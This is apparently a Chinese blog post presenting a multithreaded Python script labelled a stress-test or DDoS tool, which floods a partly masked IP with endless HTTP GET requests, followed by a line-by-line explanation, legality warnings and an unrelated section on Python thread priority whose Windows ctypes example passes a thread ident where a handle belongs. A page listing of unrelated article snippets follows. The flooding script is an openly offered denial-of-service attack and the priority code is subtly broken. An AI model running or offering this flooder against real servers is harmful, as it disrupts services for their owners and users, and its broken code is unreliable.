基于python的一个简单的压力测试(DDoS)脚本
DDoS测试脚本
声明:本文所涉及代码仅供学习使用,任何人利用此造成的一切后果与本人无关
源码
import requests
import threading# 目标URL
target_url = "http://47.121.xxx.xxx/"# 发送请求的函数
def send_request():while True:try:response = requests.get(target_url)print(f"Sent request to {target_url}, Status Code: {response.status_code}")except requests.exceptions.RequestException as e:print(f"Error: {e}")# 创建多个线程进行攻击
def start_attack(thread_counts):threads = []for i in range(thread_counts):thread = threading.Thread(target=send_request)threads.append(thread)thread.start()for thread in threads:thread.join()if __name__ == "__main__":# 设置线程数量thread_count = 10start_attack(thread_count)
源码解析
代码结构
-
导入模块
import requests import threading
-
requests
模块用于发送HTTP请求。 -
threading
模块用于创建和管理线程。
-
-
定义目标URL
target_url = "http://47.121.xxx.xxx/"
-
这里指定了要发送请求的目标URL。
-
-
发送请求的函数
def send_request():while True:try:response = requests.get(target_url)print(f"Sent request to {target_url}, Status Code: {response.status_code}")except requests.exceptions.RequestException as e:print(f"Error: {e}")
-
send_request
函数在一个无限循环中不断发送HTTP GET请求到目标URL。 -
使用
try-except
块捕获可能的请求异常,并打印错误信息。
-
-
创建多个线程进行攻击
def start_attack(thread_counts):threads = []for i in range(thread_counts):thread = threading.Thread(target=send_request)threads.append(thread)thread.start()for thread in threads:thread.join()
-
start_attack
函数接受一个参数thread_counts
,表示要创建的线程数量。 -
使用一个循环创建指定数量的线程,每个线程的目标函数是
send_request
。 -
启动所有线程后,使用
join
方法等待所有线程完成。
-
-
主程序入口
if __name__ == "__main__":# 设置线程数量thread_count = 10start_attack(thread_count)
-
在主程序入口处,设置线程数量为10,并调用
start_attack
函数启动攻击。
-
功能描述
-
该脚本的主要功能是对指定的目标URL进行高并发的HTTP GET请求。
-
通过创建多个线程,每个线程不断发送请求,从而实现对目标服务器的压力测试或DDoS攻击。
注意事项
-
合法性:这种行为可能违反目标服务器的使用条款,甚至可能触犯法律。未经授权进行此类操作是非法的,请务必确保在合法授权的情况下进行。
-
道德性:即使有授权,也应考虑对目标服务器的影响,避免对其造成不必要的负担或损害。
安全建议
-
避免滥用:不要将此类脚本用于恶意目的,如DDoS攻击。
-
合理使用:仅在合法授权的情况下,用于性能测试或安全评估。
-
监控与控制:在实际使用中,应设置合理的请求频率和线程数量,避免对目标服务器造成过大压力。
总之,这段代码展示了如何使用Python进行多线程HTTP请求,但在实际使用中应严格遵守法律法规和道德准则。
多线程的优先级调用
在 Python 中,线程优先级通常不由开发者直接设置,而是依赖于操作系统的线程调度机制。Python 的 threading
模块并没有提供直接设置线程优先级的功能。不过,你可以使用 os
模块中的 nice()
函数来尝试影响线程的优先级,但这通常只在 Unix/Linux 系统上有效,并且这种影响是有限的。
以下是一个示例,展示如何在 Unix/Linux 系统上使用 os.nice()
来尝试调整线程的优先级:
import threading
import os
import timedef worker():while True:print(f"Thread {threading.current_thread().name} is running")time.sleep(1)# 创建一个新线程
t = threading.Thread(target=worker, name="WorkerThread")# 设置线程的优先级(仅适用于 Unix/Linux)
try:# 设置线程的 nice 值为 10(较低的优先级)os.nice(10)
except AttributeError:print("Setting thread priority is not supported on this platform.")# 启动线程
t.start()# 主线程等待一段时间后退出
time.sleep(5)
在这个示例中,我们创建了一个新线程并尝试使用 os.nice()
来设置其优先级。需要注意的是,os.nice()
影响的是进程的优先级,而不是单个线程的优先级。在 Unix/Linux 系统上,Python 线程实际上是共享同一个进程的,因此 os.nice()
会影响整个进程及其所有线程。
如果你需要在 Windows 系统上设置线程优先级,可以使用 threading.Thread
的 setPriority()
方法(这是一个非标准的扩展,只在某些版本的 Python 中可用),或者使用 ctypes
库来调用 Windows API。
以下是一个在 Windows 上使用 ctypes
设置线程优先级的示例:
import threading
import ctypes
import time# 定义线程优先级常量
THREAD_PRIORITY_LOWEST = 19def set_thread_priority(thread, priority):"""设置线程的优先级"""ctypes.windll.kernel32.SetThreadPriority(ctypes.c_long(thread.ident), priority)def worker():while True:print(f"Thread {threading.current_thread().name} is running")time.sleep(1)# 创建一个新线程
t = threading.Thread(target=worker, name="WorkerThread")# 启动线程
t.start()# 设置线程的优先级
set_thread_priority(t, THREAD_PRIORITY_LOWEST)# 主线程等待一段时间后退出
time.sleep(5)
在这个示例中,我们使用 ctypes
库调用 Windows API 来设置线程的优先级。这种方法更为复杂,但提供了更细粒度的控制。
需要注意的是,调整线程优先级可能会影响程序的性能和响应性,因此应谨慎使用,并确保充分测试。
相关文章:
基于python的一个简单的压力测试(DDoS)脚本
DDoS测试脚本 声明:本文所涉及代码仅供学习使用,任何人利用此造成的一切后果与本人无关 源码 import requests import threading# 目标URL target_url "http://47.121.xxx.xxx/"# 发送请求的函数 def send_request():while True:try:respo…...

基于 Spring Boot 实现图片的服务器本地存储及前端回显
??导读:本文探讨了在网站开发中图片存储的各种方法,包括本地文件系统存储、对象存储服务(如阿里云OSS)、数据库存储、分布式文件系统及内容分发网络(CDN)。文中详细对比了这些方法的优缺点,并…...
深入 TCP VJ-Style
接着 TCP 的文化内涵 继续扯一会儿。 自 30 instruction TCP receive 往前追溯,论文 Jacobson88 源自第一次拥塞崩溃,这篇著名文档在同时期的另一个缘起是另一篇考古文献 [Zhang86] Why TCP Timers Don’t Work Well,后面这篇文献提出了 TCP…...
go高性能单机缓存项目
代码 // Copyright 2021 ByteDance Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apach…...

数据结构绪论
文章目录 绪论数据结构三要素算法 🏡作者主页:点击! 🤖数据结构专栏:点击! ⏰️创作时间:2024年12月12日01点09分 绪论 数据是信息的载体,描述客观事物属性的数、字符及所有能输入…...
前端开发常用四大框架学习难度咋样?
前端开发常用四大框架指的是 jQuery vue react angular jQuery: 学习难度:相对较低特点:jQuery 是一个快速、小巧、功能丰富的 JavaScript 库。它使得 HTML 文档遍历和操作、事件处理、动画和 Ajax 交互更加简单。适用场景&a…...
OWASP 十大安全漏洞的原理
1. Broken Access Control(访问控制失效) 原理:应用程序未正确实施权限检查,导致攻击者通过篡改请求、强制浏览或权限提升等手段绕过访问控制。 攻击手段: 修改 URL、HTML、或 API 请求以访问未经授权的资源。 删除…...

论文 | ChunkRAG: Novel LLM-Chunk Filtering Method for RAG Systems
本文详细介绍了一种新颖的检索增强生成(Retrieval-Augmented Generation, RAG)系统方法——ChunkRAG,该方法通过对文档的分块语义分析和过滤显著提升了生成系统的准确性和可靠性。 1. 研究背景与问题 1.1 检索增强生成的意义 RAG系统结合…...
ORACLE SQL思路: 多行数据有相同字段就合并成一条数据 分页展示
数据 分数表: 学号,科目名(A,B,C),分数 需求 分页列表展示, 如果一个学号的科目有相同的分数, 合并成一条数据,用 拼接 科目名 ORACLE SQL 实现 SELECT Z.*, SUBSTR(DECODE(f…...

SpringBoot 手动实现动态切换数据源 DynamicSource (中)
大家好,我是此林。 SpringBoot 手动实现动态切换数据源 DynamicSource (上)-CSDN博客 在上一篇博客中,我带大家手动实现了一个简易版的数据源切换实现,方便大家理解数据源切换的原理。今天我们来介绍一个开源的数据源…...

y3编辑器教学5:触发器2 案例演示
文章目录 一、探索1.1 ECA1.1.1 ECA的定义1.1.2 使用触发器实现瞬间移动效果 1.2 变量1.2.1 什么是变量1.2.2 使用变量存储碎片收集数量并展现 1.3 if语句(魔法效果挂接)1.3.1 地形设置1.3.2 编写能量灌注逻辑1.3.3 编写能量灌注后,实现传送逻…...

数值分析——插值法(二)
文章目录 前言一、Hermite插值1.两点三次Hermite插值2.两点三次Hermite插值的推广3.非标准型Hermite插值 二、三次样条插值1.概念2.三弯矩方程 前言 之前写过Lagrange插值与Newton插值法的内容,这里介绍一些其他的插值方法,顺便复习数值分析. 一、Hermi…...

杨振宁大学物理视频中黄色的字,c#写程序去掉
先看一下效果:(还有改进的余地) 写了个程序消除杨振宁大学物理中黄色的字 我的方法是笨方法,也比较刻板。 1,首先想到,把屏幕打印下来。c#提供了这样一个函数: Bitmap bmp new Bitmap(640, 48…...

uni-app 设置缓存过期时间【跨端开发系列】
🔗 uniapp 跨端开发系列文章:🎀🎀🎀 uni-app 组成和跨端原理 【跨端开发系列】 uni-app 各端差异注意事项 【跨端开发系列】uni-app 离线本地存储方案 【跨端开发系列】uni-app UI库、框架、组件选型指南 【跨端开…...
微信小程序base64图片与临时路径互相转换
1、base64图片转临时路径 /*** 将base64图片转临时路径* param {*} dataurl* param {*} filename* returns*/base64ImgToFile(dataurl, filename "file") {const base64 dataurl; // base64码const time new Date().getTime();const imgPath wx.env.USER_DATA_P…...

蓝桥杯刷题——day2
蓝桥杯刷题——day2 题目一题干题目解析代码 题目二题干解题思路代码 题目一 题干 三步问题。有个小孩正在上楼梯,楼梯有n阶台阶,小孩一次可以上1阶、2阶或3阶。实现一种方法,计算小孩有多少种上楼梯的方式。结果可能很大,你需要…...
5.删除链表的倒数第N个节点
19.删除链表的倒数第N个节点 题目: 19. 删除链表的倒数第 N 个结点 - 力扣(LeetCode) 分析: 要删除倒数第几个节点,那么我们需要怎么做呢?我们需要定义两个指针,快指针和慢指针,…...
自己总结:selenium高阶知识
全篇大概10000字(含代码),建议阅读时间30min 一、等待机制 如果有一些内容是通过Ajax加载的内容,那就需要等待内容加载完毕才能进行下一步操作。 为了避免人为操作等待,会遇到的问题, selenium将等待转换…...

前端怎么预览pdf
1.背景 后台返回了一个在线的pdf地址,需要我这边去做一个pdf的预览(需求1),并且支持配置是否可以下载(需求2),需要在当前页就能预览(需求3)。之前我写过一篇预览pdf的文…...
activemq 的安装部署
下载 https://activemq.apache.org/components/classic/download/# 在/opt目录下载 wget https://dlcdn.apache.org//activemq/5.18.6/apache-activemq-5.18.6-bin.tar.gz解压 tar -zxvf apache-activemq-5.18.6-bin.tar.gz配置java环境 vim /opt/apache-activemq-5.18.6/b…...

龙虎榜——20250610
上证指数放量收阴线,个股多数下跌,盘中受消息影响大幅波动。 深证指数放量收阴线形成顶分型,指数短线有调整的需求,大概需要一两天。 2025年6月10日龙虎榜行业方向分析 1. 金融科技 代表标的:御银股份、雄帝科技 驱动…...

python/java环境配置
环境变量放一起 python: 1.首先下载Python Python下载地址:Download Python | Python.org downloads ---windows -- 64 2.安装Python 下面两个,然后自定义,全选 可以把前4个选上 3.环境配置 1)搜高级系统设置 2…...
【位运算】消失的两个数字(hard)
消失的两个数字(hard) 题⽬描述:解法(位运算):Java 算法代码:更简便代码 题⽬链接:⾯试题 17.19. 消失的两个数字 题⽬描述: 给定⼀个数组,包含从 1 到 N 所有…...
纯 Java 项目(非 SpringBoot)集成 Mybatis-Plus 和 Mybatis-Plus-Join
纯 Java 项目(非 SpringBoot)集成 Mybatis-Plus 和 Mybatis-Plus-Join 1、依赖1.1、依赖版本1.2、pom.xml 2、代码2.1、SqlSession 构造器2.2、MybatisPlus代码生成器2.3、获取 config.yml 配置2.3.1、config.yml2.3.2、项目配置类 2.4、ftl 模板2.4.1、…...
08. C#入门系列【类的基本概念】:开启编程世界的奇妙冒险
C#入门系列【类的基本概念】:开启编程世界的奇妙冒险 嘿,各位编程小白探险家!欢迎来到 C# 的奇幻大陆!今天咱们要深入探索这片大陆上至关重要的 “建筑”—— 类!别害怕,跟着我,保准让你轻松搞…...
腾讯云V3签名
想要接入腾讯云的Api,必然先按其文档计算出所要求的签名。 之前也调用过腾讯云的接口,但总是卡在签名这一步,最后放弃选择SDK,这次终于自己代码实现。 可能腾讯云翻新了接口文档,现在阅读起来,清晰了很多&…...
嵌入式常见 CPU 架构
架构类型架构厂商芯片厂商典型芯片特点与应用场景PICRISC (8/16 位)MicrochipMicrochipPIC16F877A、PIC18F4550简化指令集,单周期执行;低功耗、CIP 独立外设;用于家电、小电机控制、安防面板等嵌入式场景8051CISC (8 位)Intel(原始…...
uniapp 集成腾讯云 IM 富媒体消息(地理位置/文件)
UniApp 集成腾讯云 IM 富媒体消息全攻略(地理位置/文件) 一、功能实现原理 腾讯云 IM 通过 消息扩展机制 支持富媒体类型,核心实现方式: 标准消息类型:直接使用 SDK 内置类型(文件、图片等)自…...
在鸿蒙HarmonyOS 5中使用DevEco Studio实现指南针功能
指南针功能是许多位置服务应用的基础功能之一。下面我将详细介绍如何在HarmonyOS 5中使用DevEco Studio实现指南针功能。 1. 开发环境准备 确保已安装DevEco Studio 3.1或更高版本确保项目使用的是HarmonyOS 5.0 SDK在项目的module.json5中配置必要的权限 2. 权限配置 在mo…...
webpack面试题
面试题:webpack介绍和简单使用 一、webpack(模块化打包工具)1. webpack是把项目当作一个整体,通过给定的一个主文件,webpack将从这个主文件开始找到你项目当中的所有依赖文件,使用loaders来处理它们&#x…...